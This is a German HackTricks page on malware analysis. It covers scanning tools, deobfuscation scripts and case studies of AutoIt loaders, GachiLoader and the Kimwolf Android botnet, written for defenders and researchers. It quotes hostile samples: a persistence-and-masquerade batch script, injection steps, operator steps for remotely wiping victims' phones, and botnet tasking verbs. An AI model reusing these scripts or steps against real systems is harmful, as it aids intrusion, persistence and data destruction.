Malware Analysis

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks

Forensics CheatSheets

https://www.jaiminton.com/cheatsheet/DFIR/#

Online Services

Offline Antivirus and Detection Tools

Yara

Install

sudo apt-get install -y yara

Regeln vorbereiten

Verwende dieses Skript, um alle yara-Malware-Regeln von GitHub herunterzuladen und zusammenzuführen: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9
Erstelle das rules-Verzeichnis und führe es aus. Dadurch wird eine Datei namens malware_rules.yar erstellt, die alle yara-Regeln für Malware enthält.

wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py

Scan

yara -w malware_rules.yar image  #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder

YaraGen: Nach Malware suchen und Regeln erstellen

Du kannst das Tool YaraGen verwenden, um yara rules aus einer Binary zu generieren. Sieh dir diese Tutorials an: Teil 1, Teil 2, Teil 3

python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m  ../../mals/

ClamAV

Install

sudo apt-get install -y clamav

Scan

sudo freshclam      #Update rules
clamscan filepath   #Scan 1 file
clamscan folderpath #Scan the whole folder

Capa

Capa erkennt potenziell schädliche capabilities in ausführbaren Dateien: PE, ELF, .NET. Es findet also Dinge wie Att&ck tactics oder verdächtige capabilities wie:

  • auf einen OutputDebugString-Fehler prüfen
  • als Dienst laufen
  • Prozess erstellen

Hol es dir im Github repo.

IOCs

IOC bedeutet Indicator Of Compromise. Ein IOC ist ein Satz von Bedingungen, die eine potenziell unerwünschte Software oder bestätigte malware identifizieren. Blue Teams verwenden diese Art von Definition, um nach solchen bösartigen Dateien in ihren Systemen und Netzwerken zu suchen.
Das Teilen dieser Definitionen ist sehr nützlich, da, wenn malware auf einem Computer identifiziert und ein IOC für diese malware erstellt wird, andere Blue Teams es nutzen können, um die malware schneller zu identifizieren.

Ein Tool zum Erstellen oder Ändern von IOCs ist IOC Editor.
Du kannst Tools wie Redline verwenden, um definierte IOCs auf einem Gerät zu suchen.

Loki

Loki ist ein Scanner für Simple Indicators of Compromise.
Die Erkennung basiert auf vier Erkennungsmethoden:

1. File Name IOC
Regex match on full file path/name

2. Yara Rule Check
Yara signature matches on file data and process memory

3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files

4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)

Linux Malware Detect

Linux Malware Detect (LMD) ist ein Malware-Scanner für Linux, veröffentlicht unter der GNU GPLv2-Lizenz, der auf die Bedrohungen in gemeinsam genutzten gehosteten Umgebungen ausgelegt ist. Er verwendet Bedrohungsdaten von Intrusion-Detection-Systemen am Netzwerkrand, um Malware zu extrahieren, die aktiv in Angriffen verwendet wird, und generiert Signaturen zur Erkennung. Zusätzlich werden Bedrohungsdaten auch aus Nutzer-Einsendungen mit der LMD checkout-Funktion und Ressourcen der Malware-Community abgeleitet.

rkhunter

Tools wie rkhunter können verwendet werden, um das Dateisystem auf mögliche rootkits und Malware zu prüfen.

sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]

FLOSS

FLOSS ist ein Tool, das versucht, obfuskierte Strings in Executables mithilfe verschiedener Techniken zu finden.

PEpper

PEpper prüft einige grundlegende Dinge innerhalb der Executable (Binärdaten, Entropie, URLs und IPs, einige yara-Regeln).

PEstudio

PEstudio ist ein Tool, das Informationen über Windows Executables wie Imports, Exports, Header anzeigen kann, aber auch Virus Total prüft und potenzielle Att&ck-Techniken findet.

Detect It Easy(DiE)

DiE ist ein Tool, um zu erkennen, ob eine Datei verschlüsselt ist, und um auch Packers zu finden.

NeoPI

NeoPI ist ein Python-Skript, das verschiedene statistical methods verwendet, um obfuscated und encrypted Inhalte in Text-/Script-Dateien zu erkennen. Der beabsichtigte Zweck von NeoPI ist es, die Erkennung von verborgenem Webshell-Code zu unterstützen.

php-malware-finder

PHP-malware-finder tut sein Bestes, um obfuscated/dodgy code sowie Dateien zu erkennen, die PHP-Funktionen verwenden, die oft in malwares/webshells verwendet werden.

Apple Binary Signatures

Beim Prüfen eines malware sample solltest du immer die Signatur der Binary prüfen, da der developer, der sie signiert hat, möglicherweise bereits mit malware related ist.

#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"

#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app

#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app

Detection Techniques

File Stacking

Wenn du weißt, dass ein Ordner mit den files eines web server zuletzt an einem bestimmten Datum aktualisiert wurde. Prüfe das Datum, an dem alle files auf dem web server erstellt und geändert wurden, und wenn ein Datum verdächtig ist, überprüfe diese Datei.

Baselines

Wenn die files eines Ordners nicht hätten geändert werden sollen, kannst du den hash der original files des Ordners berechnen und sie mit den aktuellen vergleichen. Alles Geänderte ist verdächtig.

Statistical Analysis

Wenn die Informationen in logs gespeichert sind, kannst du Statistiken prüfen, z. B. wie oft auf jede file eines web server zugegriffen wurde, da ein web shell eines der häufigsten sein könnte.


Android in-app native telemetry (no root)

Auf Android kannst du nativen code innerhalb des target app process instrumentieren, indem du eine kleine logger library vorlädst, bevor andere JNI libs initialisieren. Das gibt frühe Sichtbarkeit in das native Verhalten ohne systemweite hooks oder root. Ein beliebter Ansatz ist SoTap: lege libsotap.so für die richtige ABI in die APK und injiziere früh einen System.loadLibrary(“sotap”)-Aufruf (z. B. statischer Initializer oder Application.onCreate), dann sammle logs aus internen/externen paths oder als Logcat fallback.

Siehe die Android native reversing Seite für Setup-Details und log paths:

Reversing Native Libraries


Android/JNI native string deobfuscation with angr + Ghidra

Einige Android malware und RASP-geschützte apps verstecken JNI method names und signatures, indem sie sie zur Laufzeit dekodieren, bevor RegisterNatives aufgerufen wird. Wenn Frida/ptrace instrumentation durch anti-debug beendet wird, kannst du den plaintext trotzdem offline wiederherstellen, indem du den Decoder im Binary mit angr ausführst und die Ergebnisse anschließend als comments in Ghidra einfügst.

Kernidee: behandle den Decoder in der .so als aufrufbare Funktion, führe ihn auf den obfuskierten Byte-Blobs in .rodata aus und konkretisiere die Output-Bytes bis zum ersten \x00 (C-string terminator). Verwende für angr und Ghidra denselben image base, um address mismatches zu vermeiden.

Workflow overview

  • Triage in Ghidra: identifiziere den Decoder und seine calling convention/arguments in der JNI_OnLoad- und RegisterNatives-Umgebung.
  • Run angr (CPython3), um den Decoder für jeden Zielstring auszuführen und die Ergebnisse zu dumpen.
  • Annotate in Ghidra: füge bei jedem call site automatisch comments zu den dekodierten strings hinzu, um JNI schnell zu rekonstruieren.

Ghidra triage (JNI_OnLoad pattern)

  • Apply JNI datatypes auf JNI_OnLoad, damit Ghidra JNINativeMethod structures erkennt.
  • Typische JNINativeMethod nach Oracle docs:
typedef struct {
char *name;      // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr;     // native implementation address
} JNINativeMethod;
  • Suche nach Aufrufen von RegisterNatives. Wenn die library den name/signature mit einer lokalen routine erstellt (z. B. FUN_00100e10), die auf eine statische byte table (z. B. DAT_00100bf4) verweist und Parameter wie (encoded_ptr, out_buf, length) annimmt, ist das ein ideales Ziel für offline execution.

angr setup (execute the decoder offline)

  • Lade die .so mit demselben base, der in Ghidra verwendet wurde (Beispiel: 0x00100000), und deaktiviere das automatische Laden externer libs, um den state klein zu halten.
angr setup and offline decoder execution ```python import angr, json

project = angr.Project( ‘/path/to/libtarget.so’, load_options={‘main_opts’: {‘base_addr’: 0x00100000}}, auto_load_libs=False, )

ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra

def decode_string(enc_addr, length):

fresh blank state per evaluation

st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(b’\x00’, 1)[0].decode(‘utf-8’, errors=‘ignore’)

Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B

print(decode_string(0x00100933, 5))

</details>

- Im großen Maßstab eine statische Map der Call-Sites zu den Argumenten des Decoders erstellen (encoded_ptr, size). Wrapper können Argumente verbergen, daher kannst du diese Zuordnung manuell aus Ghidra-xrefs erstellen, wenn die API-Wiederherstellung verrauscht ist.

<details>
<summary>Mehrere Call-Sites mit angr im Batch decodieren</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}

decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }

import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)

Call-Sites in Ghidra annotieren Option A: Nur-Jython-Kommentar-Writer (mit einer vorab berechneten JSON)

  • Da angr CPython3 benötigt, halte Deobfuskation und Annotation getrennt. Führe zuerst das obige angr-Skript aus, um decoded_strings.json zu erzeugen. Dann führe dieses Jython-GhidraScript aus, um PRE_COMMENTs an jeder Call-Site zu schreiben (und den Namen der aufrufenden Funktion für Kontext einzuschließen):
Ghidra Jython-Skript zum Annotieren dekodierter JNI-Strings ```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnit

Ask for the JSON produced by the angr script

f = askFile(‘Select decoded_strings.json’, ‘Load’) mapping = json.load(open(f.absolutePath, ‘r’)) # keys as hex strings

fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()

Replace with your decoder address to locate call-xrefs (optional)

ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)

callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()

Write comments from JSON

for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else ‘%s @ %s’ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(‘[+] Annotated %d call sites’ % len(mapping))

</details>

Option B: Ein einzelnes CPython-Script via pyhidra/ghidra_bridge
- Alternativ kannst du pyhidra oder ghidra_bridge verwenden, um Ghidra’s API aus demselben CPython-Prozess zu steuern, in dem auch angr läuft. Dadurch kannst du decode_string() aufrufen und sofort PRE_COMMENTs setzen, ohne eine Zwischen-Datei zu benötigen. Die Logik entspricht dem Jython-Script: Callsite→Function-Map über ReferenceManager aufbauen, mit angr dekodieren und Kommentare setzen.

Warum das funktioniert und wann man es nutzt
- Offline-Ausführung umgeht RASP/anti-debug: kein ptrace, keine Frida-Hooks nötig, um Strings wiederherzustellen.
- Wenn Ghidra- und angr-base_addr ausgerichtet bleiben (z. B. 0x00100000), stimmen Funktions-/Datenadressen über beide Tools hinweg überein.
- Wiederholbares Rezept für Decoder: behandle die Transformation als reine Funktion, allokiere einen Output-Buffer in einem frischen State, rufe ihn mit (encoded_ptr, out_ptr, len) auf und konkretisiere dann via state.solver.eval und parse C-Strings bis \x00.

Hinweise und Fallstricke
- Achte auf die ABI/Calling-Convention des Targets. angr.factory.callable wählt je nach Arch eine aus; wenn die Argumente verschoben wirken, gib cc explizit an.
- Wenn der Decoder nullte Output-Buffer erwartet, initialisiere outbuf vor dem Aufruf mit Nullen im State.
- Für position-unabhängige Android .so immer base_addr angeben, damit die Adressen in angr mit denen in Ghidra übereinstimmen.
- Verwende currentProgram.getReferenceManager(), um Call-xrefs aufzulisten, auch wenn die App den Decoder hinter dünnen Stubs kapselt.

Für angr-Basics siehe: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)

---

## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)

Moderne Malware-Familien missbrauchen Control-Flow-Graph(CFG)-Obfuskation stark: Statt eines direkten jump/call berechnen sie das Ziel zur Laufzeit und führen ein `jmp rax` oder `call rax` aus. Ein kleiner *dispatcher* (typischerweise neun Instruktionen) setzt das finale Ziel abhängig von den CPU-Flags `ZF`/`CF` und zerstört damit die statische CFG-Wiederherstellung vollständig.

Die Technik – gezeigt vom SLOW#TEMPEST loader – lässt sich mit einem Drei-Schritte-Workflow aushebeln, der nur auf IDAPython und dem Unicorn-CPU-Emulator basiert.

### 1. Locate every indirect jump / call
```python
import idautils, idc

for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")

2. Extrahiere den Dispatcher-Bytecode

import idc

def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s

start = get_dispatcher_start(jmp_ea)
size  = jmp_ea + idc.get_item_size(jmp_ea) - start
code  = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)

3. Emuliere es zweimal mit Unicorn

from unicorn import *
from unicorn.x86_const import *
import struct

def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)

Führe run(code,0,0) und run(code,1,1) aus, um die false und true Branch-Ziele zu erhalten.

4. Patch back a direct jump / call

import struct, ida_bytes

def patch_direct(ea, target, is_call=False):
op   = 0xE8 if is_call else 0xE9           # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))

Nach dem Patchen IDA zwingen, die Funktion neu zu analysieren, damit der vollständige CFG und die Hex-Rays-Ausgabe wiederhergestellt werden:

import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))

5. Indirekte API-Aufrufe labeln

Sobald das echte Ziel von jedem call rax bekannt ist, kannst du IDA mitteilen, was es ist, damit Parametertypen & Variablennamen automatisch wiederhergestellt werden:

idc.set_callee_name(call_ea, resolved_addr, 0)  # IDA 8.3+

Praktische Vorteile

  • Stellt den echten CFG wieder her → die Decompilation geht von 10 Zeilen auf Tausende.
  • Ermöglicht String-Cross-Reference & xrefs, wodurch die Rekonstruktion des Verhaltens trivial wird.
  • Scripts sind wiederverwendbar: einfach in jeden Loader einsetzen, der mit demselben Trick geschützt ist.

AutoIt-basierte Loader: .a3x-Entschlüsselung, Task Scheduler-Täuschung und RAT-Injektion

Dieses Intrusion Pattern verknüpft ein signiertes MSI, AutoIt-Loader, kompiliert zu .a3x, und einen Task Scheduler-Job, der sich als harmlose App tarnt.

MSI → custom actions → AutoIt-Orchestrator

Process tree und commands, die von den MSI custom actions ausgeführt werden:

  • MsiExec.exe → cmd.exe zum Ausführen von install.bat
  • WScript.exe zum Anzeigen eines Täuschungs-Fehlerdialogs
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs

install.bat (dropt Loader, setzt Persistence, bereinigt sich selbst):

@echo off
set dr=Music

copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3

cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"

del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"

error.vbs (User-Decoy):

MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"

Schlüsselartefakte und Tarnung:

  • Legt AutoIt3.exe und IoKlTr.au3 nach C:\Users\Public\Music ab
  • Kopiert schtasks.exe nach hwpviewer.exe (tarnt sich als Hangul Word Processor viewer)
  • Erstellt einen geplanten Task “IoKlTr”, der alle 1 Minute läuft
  • Startup LNK gesehen als Smart_Web.lnk; mutex: Global\AB732E15-D8DD-87A1-7464-CE6698819E701
  • Staged Module unter %APPDATA%\Google\Browser\ Unterordnern, die adb oder adv enthalten, und startet sie über autoit.vbs/install.bat Hilfsdateien

Forensische Triage-Tipps:

  • schtasks-Aufzählung: schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer"
  • Suche nach umbenannten Kopien von schtasks.exe am selben Ort wie die Task-XML: dir /a "C:\Users\Public\Music\hwpviewer.exe"
  • Häufige Pfade: C:\Users\Public\Music\AutoIt3.exe, ...\IoKlTr.au3, Startup Smart_Web.lnk, %APPDATA%\Google\Browser\(adb|adv)*
  • Prozess-Erstellung korrelieren: AutoIt3.exe startet legitime Windows-Binaries (z. B. cleanmgr.exe, hncfinder.exe)

AutoIt loaders and .a3x payload decryption → injection

  • AutoIt-Module sind mit #AutoIt3Wrapper_Outfile_type=a3x kompiliert und entschlüsseln eingebettete Payloads, bevor sie sie in harmlose Prozesse injizieren.
  • Beobachtete Familien: QuasarRAT (injected into hncfinder.exe) und RftRAT/RFTServer (injected into cleanmgr.exe) sowie RemcosRAT Module (Remcos\RunBinary.a3x).
  • Entschlüsselungsmuster: leite einen AES-Key per HMAC ab, entschlüssele den eingebetteten Blob, und injiziere dann das Plaintext-Modul.

Generische Entschlüsselungsskizze (exakte HMAC-Eingabe/Algorithmus ist familienspezifisch):

import hmac, hashlib
from Crypto.Cipher import AES

def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()

def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)

Gemeinsamer Injection-Flow (CreateRemoteThread-Stil):

  • CreateProcess (suspended) des Ziel-Hosts (z. B. cleanmgr.exe)
  • VirtualAllocEx + WriteProcessMemory mit entschlüsseltem Modul/Shellcode
  • CreateRemoteThread oder QueueUserAPC, um das Payload auszuführen

Jagd-Ideen

  • AutoIt3.exe als Kind von MsiExec.exe oder WScript.exe, das System-Utilities startet
  • Dateien mit .a3x-Endungen oder AutoIt-Script-Runner unter öffentlichen/user-writable Pfaden
  • Verdächtige Scheduled Tasks, die AutoIt3.exe oder nicht von Microsoft signierte Binaries ausführen, mit Triggern im Minutenabstand

Abuse von Android Find My Device (Find Hub) zur Account-Übernahme

Während des Windows-Einbruchs nutzten die Operatoren gestohlene Google-Zugangsdaten, um die Android-Geräte des Opfers wiederholt zu wipen und Benachrichtigungen zu unterdrücken, während sie den Zugriff über den im Desktop-Messenger des Opfers eingeloggten Account ausweiteten.

Schritte des Operators (aus einer im Browser eingeloggten Sitzung):

  • Google Account → Security → Your devices prüfen; Find My Phone → Find Hub folgen (https://www.google.com/android/find)
  • Gerät auswählen → Google-Passwort erneut eingeben → “Erase device” auslösen (Factory Reset); wiederholen, um die Wiederherstellung zu verzögern
  • Optional: Warn-E-Mails im verknüpften Postfach (z. B. Naver) löschen, um Sicherheitsbenachrichtigungen zu verbergen

Verfolgung stark obfuskierter Node.js-Loader

Angreifer bündeln JavaScript-Loader zunehmend in eigenständigen Windows-Binaries, die mit nexe kompiliert sind, sodass die Runtime zusammen mit dem Script ausgeliefert wird. Die resultierende PE ist oft 60–90 MB groß und läuft auch dann, wenn Node.js nicht installiert ist. Während des Triage:

  • Nutze nexe_unpacker, um das eingebettete JavaScript aus der PE herauszuschneiden und es lokalen Tools für statischen Diff-Check zuzuführen.
  • Rechne mit einem diskbasierten Mutex in %TEMP% (GachiLoader legt eine zufällige <name>.lock-Datei an, die nach etwa 5 Minuten abläuft). Wenn du die Datei vor der Ausführung in die Sandbox kopierst, kannst du redundante Stufen überspringen und trotzdem spätere Payloads sehen.

Node.js-API-Tracing zur Umgehung von Anti-Analysis

Check Points Nodejs-Tracer hookt Core-Module innerhalb jedes Node.js-Prozesses, lässt dich Anti-VM-Checks spoofen und bewahrt jedes Artefakt, das die Sample schreibt. Starte obfuskierte Scripts über den Tracer, um analystengesteuertes Instrumentieren im Call Stack zu behalten:

node -r .\tracer.js main.js

Schlüssige Konfigurations-Toggles in tracer.js erlauben dir:

  • Filesystem-, Child-Process- und HTTP-Aktivität zu loggen (LOG_HTTP_REQUESTS, SAVE_FILE_WRITES). Jede verworfene Datei — etwa kidkadi.node — wird vor dem Löschen durch die Malware in das Working Directory kopiert.
  • Environment-Fingerprints zu überschreiben, indem realistische RAM-/CPU-Zahlen zurückgegeben, tasklist-Ausgaben vorgetäuscht und PowerShell-/WMI-Antworten manipuliert werden. So werden Loader umgangen, die ≥4 GB RAM, ≥2 Cores verlangen und Usernames (mashinesssss, wdagutilityaccount, usw.), Hostnames (desktop-vrsqlag, server1 …) sowie Prozessnamen (vmtoolsd.exe, fiddler.exe, x64dbg.exe, frida-server.exe) prüfen.
  • WMI-Hardware-Checks wie Get-WmiObject Win32_DiskDrive (Suche nach vmware, kvm, virtio, …), Win32_VideoController (blockiert “VirtualBox Graphics Adapter”, “Hyper-V Video”, usw.) und Win32_PortConnector-Zählungen zu neutralisieren. Wenn diese Prüfungen “echte” Hardware melden, laufen Sandboxes nicht mehr in die Endlosschleife harmloser Invoke-WebRequest-Aufrufe zu linkedin.com, grok.com, whatsapp.com und ähnlichen Domains, mit denen GachiLoader Analysezeit verschwendet.

Erfassen von gated C2-Traffic automatisch

Die Netzwerk-Hooks des Tracers offenbaren mehrstufige C2-Authentifizierung, ohne die JavaScript-Obfuskation zu reversen. In der beobachteten Kampagne:

  1. POSTet der Loader Host-Telemetrie an /log auf jedem fest codierten C2.
  2. Sendet GET /richfamily/<per-sample key> mit X-Secret: gachifamily, um eine Base64-kodierte Payload-URL abzurufen.
  3. Führt einen finalen GET an diese URL mit einem langen per-sample X-Secret-Header aus; fehlt er, wird 403 Forbidden zurückgegeben.

Da der Tracer vollständige Requests aufzeichnet (Header, Bodies, Ziele), kannst du denselben Traffic wiedergeben, um Payloads abzuholen, Themida/VMProtect-Shells im Speicher zu dumpen und Rhadamanthys-Konfigurationsdaten in großem Maßstab zu extrahieren.

AdaptixC2: Configuration Extraction and TTPs

Siehe die dedizierte Seite:

Adaptixc2 Config Extraction And Ttps

Kimwolf Android Botnet Tradecraft

APK loader & native ELF execution on TV boxes

  • Malicious APKs wie com.n2.systemservice06* liefern eine statisch gelinkte ARM-ELF in res/raw mit (z. B. R.raw.libniggakernel). Ein BOOT_COMPLETED-Receiver startet beim Booten, extrahiert die Raw-Ressource in die App-Sandbox (z. B. /data/data/<pkg>/niggakernel), macht sie ausführbar und ruft sie mit su auf.
  • Viele Android-TV-Boxen/Tablets werden mit bereits gerooteten Images oder world-writable su ausgeliefert, sodass der Loader die ELF zuverlässig mit UID 0 startet, auch ohne Exploit-Chain. Persistenz gibt es “gratis”, weil der Receiver nach jedem Reboot oder App-Neustart erneut startet.
  • Reverse Engineers, die nach diesem Muster suchen, können AndroidManifest.xml auf versteckte Boot-Receiver sowie auf Code diffen, der Resources.openRawResourceFileOutputStreamRuntime.getRuntime().exec("su") referenziert. Sobald die ELF gedroppt wurde, als Linux-Userland-Backdoor triagieren (Kimwolf ist UPX-gepackt, gestripped, statisch gelinkt, 32-bit ARM EABI5).

Runtime mutexes & masquerading IOCs

  • Beim Start bindet Kimwolf ein abstract UNIX domain socket wie @niggaboxv4/@niggaboxv5. Vorhandene Sockets erzwingen ein Exit, daher dient der Socket-Name zugleich als Mutex und forensisches Artefakt.
  • Der Process Title wird durch serviceähnliche Namen (netd_services, tv_helper, usw.) überschrieben, um in Android-Prozesslisten unterzugehen. Hostbasierte Detektionen können auf diese Namen in Kombination mit dem Mutex-Socket alarmieren.

Stack XOR string decoding with ARM NEON + flare_emu

  • Sensible Strings (C2-Domains, Resolver, DoT-Endpunkte) werden in verschlüsselten 8-Byte-Blöcken auf den Stack gelegt und in-place via VEOR Qx, Qx, Qy (veorq_s64) dekodiert. Analysten können flare_emu skripten, um den entschlüsselten Pointer jedes Mal abzufangen, wenn der Decryptor ihn an den Caller übergibt:
import flare_emu

eh = flare_emu.EmuHelper()

def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))

eh.iterate(0x8F00, hook)  # sub_8F00 consumes the plaintext R1 argument
  • Suche nach VEOR Q8, Q8, Q9 / veorq_s64-Sequenzen und das Emulieren ihrer Bereiche dumpt massenhaft jeden entschlüsselten String und umgeht die stack-only Lebensdauer des Klartexts.

DNS-over-TLS-Auflösung plus XOR-IP-Ableitung

  • Alle Kimwolf-Varianten lösen C2-Domains auf, indem sie direkt mit DNS-over-TLS (TCP/853) mit Google (8.8.8.8) oder Cloudflare (1.1.1.1) sprechen und damit einfaches DNS-Logging oder Hijacking umgehen.
  • v4-Bots verwenden einfach den zurückgegebenen IPv4-A-Record. v5-Bots behandeln den A-Record als 32-bit-Integer, tauschen seine Endianness, XORen ihn mit der Konstanten 0x00ce0491 und drehen dann die Endianness wieder zurück, um die echte C2-IP zu erhalten. CyberChef-Rezept: Change IP format → swap endianness per 4-byte chunk → XOR with 00 ce 04 91 → convert back to dotted decimal.

ENS / EtherHiding-Fallback

  • Spätere Builds fügen eine ENS-Domain (pawsatyou.eth) hinzu, deren Resolver-Textschlüssel "lol" eine harmlos aussehende IPv6 (fed0:5dec:...:1be7:8599) speichert.
  • Der Bot nimmt die letzten vier Bytes (1b e7 85 99), XORt sie mit 0x93141715 und interpretiert das Ergebnis als eine IPv4-C2 (136.243.146.140). Das Aktualisieren des ENS-Text-Records rotiert die downstream C2s sofort über die Blockchain, ohne DNS anzufassen.

TLS + ECDSA-authentifizierter Befehlskanal

  • Der Traffic ist in wolfSSL mit einem benutzerdefinierten framed protocol gekapselt:
struct Header {
Magic    [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8   // 0x01
MsgType  uint8   // verb
MsgID    uint32
BodyLen  uint32
CRC32    uint32
}
  • Bootstrap: der Bot sendet zwei leere MsgType=0 (register)-Header. Das C2 antwortet mit MsgType=1 (verify), das eine zufällige Challenge plus eine ASN.1 DER ECDSA-Signatur enthält. Bots verifizieren sie gegen einen eingebetteten SubjectPublicKeyInfo-Blob; Fehler beenden die Sitzung und verhindern so, dass hijacked/sinkholed C2-Knoten die Fleet tasken.
  • Once verified, sendet der Bot einen MsgType=0-Body, der den vom Operator definierten group string enthält (z. B. android-postboot-rt). Wenn die Gruppe aktiviert ist, antwortet das C2 mit MsgType=2 (confirm), woraufhin das Tasking (MsgType 5–12) beginnt.
  • Unterstützte Verben umfassen SOCKS-style TCP/UDP proxying (residential proxy monetization), reverse shell / single command exec, file read/write und Mirai-compatible DDoSBody-Payloads (gleiches AtkType, Duration, Targets[], Flags[]-Layout).

Partial-encryption ransomware: verlorene stream-cipher nonces

Einige Ransomware-Familien verschlüsseln Dateien teilweise, um schneller zu sein, aber wenn sie einen stream cipher unabhängig auf mehrere Chunks anwenden, braucht jeder verschlüsselte Bereich seinen eigenen persistierten nonce/IV. Wenn das Sample einen frischen nonce pro Chunk erzeugt und denselben 12-Byte-Puffer innerhalb der Schleife überschreibt, dann aber nur den letzten Wert auf die Festplatte anhängt, werden die vorherigen Chunks kryptografisch nicht wiederherstellbar, selbst wenn der Angreifer später den key teilt.

Typisches fehlerhaftes Muster:

for (i = 0; i < 4; i++) {
randombytes_buf(nonce, 12);                // same buffer reused each round
crypto_stream_chacha20_ietf_xor(chunk, chunk, len, nonce, key);
}
write(fd, nonce, 12);                          // only the last nonce survives

Referenzen

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks